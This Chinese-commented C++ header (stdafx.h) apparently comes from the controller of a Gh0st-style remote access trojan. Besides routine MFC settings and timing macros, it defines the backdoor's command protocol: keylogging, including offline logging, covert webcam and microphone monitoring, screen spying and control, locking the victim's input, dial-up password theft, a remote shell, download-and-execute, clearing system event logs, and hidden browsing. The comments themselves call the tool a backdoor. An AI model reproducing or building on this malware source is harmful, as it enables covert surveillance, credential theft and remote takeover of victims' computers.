// stdafx.h : 标准系统包含文件的包含文件, // 或是经常使用但不常更改的 // 特定于项目的包含文件 #pragma once // 是否使用ZLIB #define USING_ZLIB 1 #if !USING_ZLIB // 是否使用LZ4 #define USING_LZ4 1 #endif #ifndef _SECURE_ATL #define _SECURE_ATL 1 #endif #ifndef VC_EXTRALEAN #define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料 #endif // 移除对话框中MFC控件的支持,减小静态编译程序的大小 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS // 关闭对话框时删除对话框 #define CLOSE_DELETE_DLG 0 // 检测内存泄漏,需安装VLD;否则请注释此行 #include "vld.h" #include "targetver.h" #define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的 // 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏 #define _AFX_ALL_WARNINGS #include // MFC 核心组件和标准组件 #include // MFC 扩展 #include // MFC 自动化类 #ifndef _AFX_NO_OLE_SUPPORT #include // MFC 对 Internet Explorer 4 公共控件的支持 #endif #ifndef _AFX_NO_AFXCMN_SUPPORT #include // MFC 对 Windows 公共控件的支持 #endif // _AFX_NO_AFXCMN_SUPPORT #include // 功能区和控件条的 MFC 支持 enum { // 文件传输方式 TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消 TRANSFER_MODE_ADDITION, // 追加 TRANSFER_MODE_ADDITION_ALL, // 全部追加 TRANSFER_MODE_OVERWRITE, // 覆盖 TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖 TRANSFER_MODE_JUMP, // 覆盖 TRANSFER_MODE_JUMP_ALL, // 全部覆盖 TRANSFER_MODE_CANCEL, // 取消传送 // 控制端发出的命令 COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作 COMMAND_LIST_DRIVE, // 列出磁盘目录 COMMAND_LIST_FILES, // 列出目录中的文件 COMMAND_DOWN_FILES, // 下载文件 COMMAND_FILE_SIZE, // 上传时的文件大小 COMMAND_FILE_DATA, // 上传时的文件数据 COMMAND_EXCEPTION, // 传输发生异常,需要重新传输 COMMAND_CONTINUE, // 传输正常,请求继续发送数据 COMMAND_STOP, // 传输中止 COMMAND_DELETE_FILE, // 删除文件 COMMAND_DELETE_DIRECTORY, // 删除目录 COMMAND_SET_TRANSFER_MODE, // 设置传输方式 COMMAND_CREATE_FOLDER, // 创建文件夹 COMMAND_RENAME_FILE, // 文件或文件改名 COMMAND_OPEN_FILE_SHOW, // 显示打开文件 COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件 COMMAND_SCREEN_SPY, // 屏幕查看 COMMAND_SCREEN_RESET, // 改变屏幕深度 COMMAND_ALGORITHM_RESET, // 改变算法 COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del COMMAND_SCREEN_CONTROL, // 屏幕控制 COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入 COMMAND_SCREEN_BLANK, // 服务端黑屏 COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层 COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版 COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版 COMMAND_WEBCAM, // 摄像头 COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩 COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式 COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率,后面跟两个INT型的宽高 COMMAND_NEXT, // 下一步(控制端已经打开对话框) COMMAND_KEYBOARD, // 键盘记录 COMMAND_KEYBOARD_OFFLINE, // 开启离线键盘记录 COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容 COMMAND_AUDIO, // 语音监听 COMMAND_SYSTEM, // 系统管理(进程,窗口....) COMMAND_PSLIST, // 进程列表 COMMAND_WSLIST, // 窗口列表 COMMAND_DIALUPASS, // 拨号密码 COMMAND_KILLPROCESS, // 关闭进程 COMMAND_SHELL, // cmdshell COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载) COMMAND_REMOVE, // 卸载后门 COMMAND_DOWN_EXEC, // 其它功能 - 下载执行 COMMAND_UPDATE_SERVER, // 其它功能 - 下载更新 COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志 COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页 COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页 COMMAND_RENAME_REMARK, // 重命名备注 COMMAND_REPLAY_HEARTBEAT, // 回复心跳包 COMMAND_SERVICES, // 服务管理 COMMAND_REGEDIT, COMMAND_TALK, // 即时消息验证 // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 TOKEN_HEARTBEAT, // 心跳包 TOKEN_LOGIN, // 上线包 TOKEN_DRIVE_LIST, // 驱动器列表 TOKEN_FILE_LIST, // 文件列表 TOKEN_FILE_SIZE, // 文件大小,传输文件时用 TOKEN_FILE_DATA, // 文件数据 TOKEN_TRANSFER_FINISH, // 传输完毕 TOKEN_DELETE_FINISH, // 删除完毕 TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式 TOKEN_GET_FILEDATA, // 远程得到本地文件数据 TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成 TOKEN_DATA_CONTINUE, // 继续传输数据 TOKEN_RENAME_FINISH, // 改名操作完成 TOKEN_EXCEPTION, // 操作发生异常 TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图 TOKEN_NEXTSCREEN, // 屏幕查看的下一张图 TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容 TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER TOKEN_WEBCAM_DIB, // 摄像头的图像数据 TOKEN_AUDIO_START, // 开始语音监听 TOKEN_AUDIO_DATA, // 语音监听数据 TOKEN_KEYBOARD_START, // 键盘记录开始 TOKEN_KEYBOARD_DATA, // 键盘记录的数据 TOKEN_PSLIST, // 进程列表 TOKEN_WSLIST, // 窗口列表 TOKEN_DIALUPASS, // 拨号密码 TOKEN_SHELL_START, // 远程终端开始 TOKEN_SERVERLIST, // 服务列表 COMMAND_SERVICELIST, // 刷新服务列表 COMMAND_SERVICECONFIG, // 服务端发出的标识 TOKEN_TALK_START, // 即时消息开始 TOKEN_TALKCMPLT, // 即时消息可重发 TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, //注册表 管理标识 TOKEN_REG_KEY, TOKEN_REG_PATH, COMMAND_BYE }; #define WM_USERTOONLINELIST WM_USER + 3000 #define WM_OPENSCREENSPYDIALOG WM_USER + 3001 #define WM_OPENFILEMANAGERDIALOG WM_USER + 3002 #define WM_OPENTALKDIALOG WM_USER+3003 #define WM_OPENSHELLDIALOG WM_USER+3004 #define WM_OPENSYSTEMDIALOG WM_USER+3005 #define WM_OPENAUDIODIALOG WM_USER+3006 #define WM_OPENSERVICESDIALOG WM_USER+3007 #define WM_OPENREGISTERDIALOG WM_USER+3008 #define WM_OPENWEBCAMDIALOG WM_USER+3009 #define WM_USEROFFLINEMSG WM_USER+3010 enum { FILEMANAGER_DLG = 1, SCREENSPY_DLG, VIDEO_DLG, AUDIO_DLG, KEYBOARD_DLG, SYSTEM_DLG, SHELL_DLG, SERVICES_DLG, REGISTER_DLG, TALK_DLG, MONITOR_DLG }; #ifdef _UNICODE #if defined _M_IX86 #pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"") #elif defined _M_X64 #pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"") #else #pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") #endif #endif #include #include #pragma comment(lib, "winmm.lib") // 高精度的睡眠函数 #define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); } // 以步长n毫秒在条件C下等待T秒(n是步长,必须能整除1000) #define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));} // 在条件C成立时等待T秒(步长10ms) #define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); } // 在条件C成立时等待T秒(步长1ms) #define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); } // 智能计时器,计算函数的耗时 class auto_tick { private: const char *func; int threshold; clock_t tick; __inline clock_t now() const { return clock(); } public: auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { } ~auto_tick(){int s(this->time());if(s>threshold)TRACE("[%s]执行时间: [%d]ms.\n", func, s);} __inline int time() const { return now() - tick; } }; #ifdef _DEBUG // 智能计算当前函数的耗时,超时会打印 #define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh) #else #define AUTO_TICK(thresh) #endif